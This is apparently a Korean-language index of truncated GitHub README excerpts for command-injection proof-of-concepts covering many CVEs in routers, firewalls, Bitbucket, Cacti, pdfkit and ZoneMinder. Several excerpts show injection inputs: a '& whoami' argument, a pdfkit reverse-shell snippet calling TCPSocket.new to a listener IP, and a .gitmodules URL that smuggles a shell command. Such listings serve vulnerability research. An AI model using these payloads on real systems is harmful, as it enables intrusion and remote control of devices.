CVE-2023-0861-POC

NetModule 라우터의 명령 주입 취약점CVE-2023-0861 분석 및 재현 NetModule은 중요 인프라 및 산업 제어 시스템에서 흔히 사용되는 산업용 등급 라우터의 OEMOriginal Equipment Manufacturer입니다. 2023년 2월 24일, 보안 연구 기업인 ONEKEY는 9개의 NetModule 라우터에 영향을 미치는 취약점을 공개하는 보안 권고를 발표했습니다. 이 취약점은 웹 관리 인터페이스에서 발견되었으며, 인증된 사용자가 상승된 권한으로 임의의 명령을 실행할 수 있게 합니다. IoT 보안과...

CVE-2024-24576.jl

CVE-2024-24576의 PoC Julia 언어 λ julia main.jl Enter arguments: hello Output: Argument received: hello λ julia main.jl Enter arguments: hello & whoami Output: Argument received: "hello & whoami" λ julia main.jl Enter arguments: hello" & whoami Output: Argument received: "hello" desktop-9zk7mal\lpn...

CVE-2018-19518

CVE-2018-19518 최신 보고서: https://gitlab.com/ensimag-security/CVE-2018-19518/-/jobs/artifacts/master/raw/rapport.pdf?job=PDF 사용법 앱 실행 docker-compose up -d 웹 앱의 일반 사용 예시. imap : webmail.grenoble-inp.org user : [email protected] password : xxx 익스플로잇 echo '1234567890'/tmp/test0001 사용. POST /...

cve-2024-31317

CVE-2024-31317 탐구 CVE-2024-31317은 일반 Android 앱이 사용 가능한 모든 uid 및 SELinux 범위에 대한 권한 없는 접근을 제공합니다. 이를 통해 uid 1000system 및 uid 2000shell에 접근할 수 있으며, 권한이 없는 앱에서 전적으로 트리거될 수 있어 이를 사용하는 모든 기능의 지속성을 가능하게 합니다. 설명 SELinux 모방 Zygote 인자 에뮬레이터 설정 이용 가능성 이 익스플로잇은 2024년 6월 보안 패치 이전의 대부분 Android 버전과 Android 9+에...

CVE-2023-33782

CVE-2023-33782 설명 D-Link DIR-842V2 v1.0.3에서 iperf3 진단 기능에 명령 삽입 취약점이 발견되었습니다. 개념 증명...

blogpost_cve-2018-19987-analysis

CVE-2018-19987 D-Link OS 명령 주입 분석 안녕하세요! 이 짧은 블로그 게시물에서는 CVE-2018-19987의 세부 사항을 더 잘 이해하기 위해 수행한 간단한 분석을 설명하겠습니다. 처음에는 이 CVE에 대한 공개 정보나 익스플로잇이 없다고 생각해서 이 CVE를 추적하기 시작했습니다. 첫 번째 분석을 수행한 직후, 여기와 여기에서 찾을 수 있는 두 개의 공개 PoC를 GitHub에서 발견했습니다. 이미 대부분의 작업을 수행했고 완전한 분석을 찾지 못했기 때문에 어쨌든 블로그 게시물을 작성하기로 결정했습니다...

ralph

Ralph Claude Code용 Ralph Wiggum 자율 루프 기법의 작동하는 구현입니다. 배경 Anthropic의 플러그인 마켓플레이스에 있는 공식 ralph-wiggum 플러그인은 현재 Claude Code v1.0.202025년 8월의 보안 업데이트로 인해 작동하지 않습니다. 보안 패치CVE-2025-54795는 명령 주입 공격을 방지하기 위해 $ 명령 치환과 여러 줄 bash 명령을 올바르게 차단합니다. 그러나 공식 플러그인의 명령 파일에는 이 보호 기능을 트리거하는 여러 줄 bash가 포함되어 있습니다: Erro...

CVE-2022-30525

CVE-2022-30525 Zyxel 방화벽 명령 주입 취약점 CVE-2022-30525 POC&EXP 작성자:160team.west9B 승인된 상태에서 보안 연구원만 사용하도록 제한됩니다. 사이버 보안법을 준수하십시오. 발생하는 모든 문제에 대한 책임은 사용자 본인에게 있으며 작성자와 무관합니다. 01-기본 소개 2022년 5월 12일, Zyxel合勤은 방화벽 장치에서 인증되지 않은 원격 명령 주입 취약점CVE-2022-30525을 수정하는 보안 공지를 발표했습니다. 이 취약점의 CVSS 점수는 9.8입니다. 이 취약점은 일...

cve-2022-36804

CVE-2022-36804: Atlassian Bitbucket Server의 사전 인증 RCE Atlassian Bitbucket Server 및 Data Center의 여러 API 엔드포인트에서 심각한 명령 주입 취약점이 발견되었습니다. 이 취약점은 , , , , , , 이전에 출시된 모든 Bitbucket Server 및 Data Center 버전에 영향을 미칩니다. CVE-2022-36804 실습 환경Lab Docker 빌드 docker build -t bitbucket . Docker 실행 docker run -it...

CVE-2025-34030-PoC

CVE-2025-34030 - sar2html 'plot' 매개변수 RCE CVSS: 10.0 치명적 취약점: OS 명령어 주입 프로그래밍 언어: PHP 익스플로잇 코드: Python 참고 자료: https://nvd.nist.gov/vuln/detail/CVE-2025-34030 https://www.vulncheck.com/advisories/sar2html-command-injection 설명 sar2html 버전 . 취약점의 출력은 실행 후 애플리케이션 인터페이스에 표시되며, "select host"에 명령어 출력이...

CVE-2024-24576-PoC

CVE-2024-24576 PoC Command::arg 및 Command::args API는 문서에서 인수가 셸에 의해 해석되지 않고 인수의 내용과 관계없이 생성된 프로세스에 그대로 전달된다고 명시합니다. 이는 신뢰할 수 없는 입력을 인수로 전달해도 안전해야 함을 의미합니다. Windows에서는 이 구현이 다른 플랫폼보다 더 복잡합니다. Windows API는 생성된 프로세스에 전달되는 모든 인수를 포함하는 단일 문자열만 제공하며, 이를 분할하는 것은 생성된 프로세스의 몫이기 때문입니다. 대부분의 프로그램은 표준 C 런타임...

CVE-2021-36260

CVE-2021-36260 CVE-2021-36260 POC, 일부 Hikvision 제품의 웹 서버에서 발생하는 명령 주입 취약점. 입력 검증이 충분하지 않아, 공격자는 악성 명령이 포함된 메시지를 전송하여 명령 주입 공격을 실행할 수 있습니다. Exploit Title: Hikvision Web Server Build 210702 - Command Injection Exploit Author: bashis Vendor Homepage: https://www.hikvision.com/ Version: 1.0 CVE:...

CVE-2022-46169

CVE-2022-46169 PoC: 인증 우회 및 원격 코드 실행 이 저장소는 CVE-2022-46169 취약점에 대한 PoC를 포함하고 있습니다. 이 취약점은 공격자가 영향을 받는 시스템에서 인증을 우회하고 원격으로 임의 코드를 실행할 수 있게 합니다. 이 취약점은 2022년 8월 18일에 출시된 Cacti 버전 1.2.22에 영향을 미칩니다. 이 취약점은 remoteagent.php에 IP 주소를 검색하고 poller 테이블에서 항목을 확인하는 함수가 있기 때문에 발생합니다. 항목이 발견되면 함수가 true를 반환하고...

MAL-004

MAL-004: Roundcube Webmail의 CVE-2020-12641 명령 주입 우회 "CVE-2020-12641: Roundcube Webmail에서 "imconvertpath"를 통한 명령 주입" 취약점에 대한 우회가 발견되었으며, 1.4.5, 1.3.12 이전 버전에 영향을 미칩니다. php “escapeshellcmd” 함수는 “CVE-2020-12641: “imconvertpath” 매개변수를 통한 명령 주입”을 방지하기 위해 구현되었지만, 불충분한 삭제sanitization를 수행하므로 이 “필터”는 다음을...

CVE-2024-3400

CVE-2024-3400 취약점 설명 CVE-2024-3400 취약점은 PAN-OS 방화벽의 10.2, 11.0 및 11.1 버전에 영향을 미치는 보안 취약점입니다. 이 취약점은 GlobalProtect 게이트웨이 및 장치 텔레메트리 구성이 활성화된 경우 악용됩니다. 공격자는 이 취약점을 악용하여 악성 명령을 실행하고 시스템 보안을 손상시킬 수 있습니다. 기술적 세부 사항 CVE : CVE-2024-3400 영향받는 제품 : PAN-OS 방화벽 10.2, 11.0 및 11.1 버전 영향 : 원격 코드 실행, 시스템 보안 손상 ...

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell pdfkit TCPSocket.new"LOCAL-IP",LOCAL-LISTEN-PORT' CURL을 통해 굵게 표시된 값 수정: curl 'TARGET-URL ' -X POST -H 'User-Agent: Mozilla/5.0 X11; Linux x8664; rv:102.0 Gecko/20100101 Firefox/102.0' -H 'Accept:...

CVE-2019-19356

NETIS 라우터 WF2419 RCE CVE-2019-19356 배경 이 취약점은 NETIS WF2419 라우터의 웹 관리 페이지를 통해 인증된 상태에서 루트 권한으로 원격 코드 실행RCE이 가능한 것입니다. 이 취약점은 펌웨어 버전 V1.2.31805와 마지막으로 제공된 펌웨어 버전 V2.2.36123에서 발견되었습니다. 다른 모델 및 펌웨어도 취약할 수 있습니다. 사전 요구 사항 취약점을 악용하기 위해서는 몇 가지 사전 요구 사항이 필요합니다. 실제로 라우터의 웹 관리 페이지에 접근할 수 있어야 합니다. 또한 인증이 적용된...

CVE-2023-2636

CVE-2023-2636...

CVE-2023-51385_test

CVE-2023-51385 검증 먼저 /.ssh/config에 다음과 같이 추가해야 합니다 主机 .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p .gitmodules파일 구문에는 명령 주입이 존재합니다 url = ssh://echo helloworld cve.txtfoo.example.com/bar 구성 완료 후 아래 명령을 실행하여 트리거합니다 git 克隆 https://github.com/zls1793/CVE-2023-51385test...

CVE-2025-65791

CVE-2025-65791 — ZoneMinder 명령 주입 취약점 개요 ZoneMinder v1.36.34 에는 web/views/image.php 구성 요소의 부적절한 입력 검증으로 인한 심각한 명령 주입 취약점이 존재합니다. 정화되지 않은 사용자 제어 입력이 PHP exec 함수에 직접 전달되어, 원격 공격자가 임의의 시스템 명령을 실행할 수 있습니다. 이 취약점은 CVE-2025-65791 로 지정되었습니다. 영향을 받는 제품 공급업체: ZoneMinder 제품: ZoneMinder 버전: 1.36.34 구성 요소:...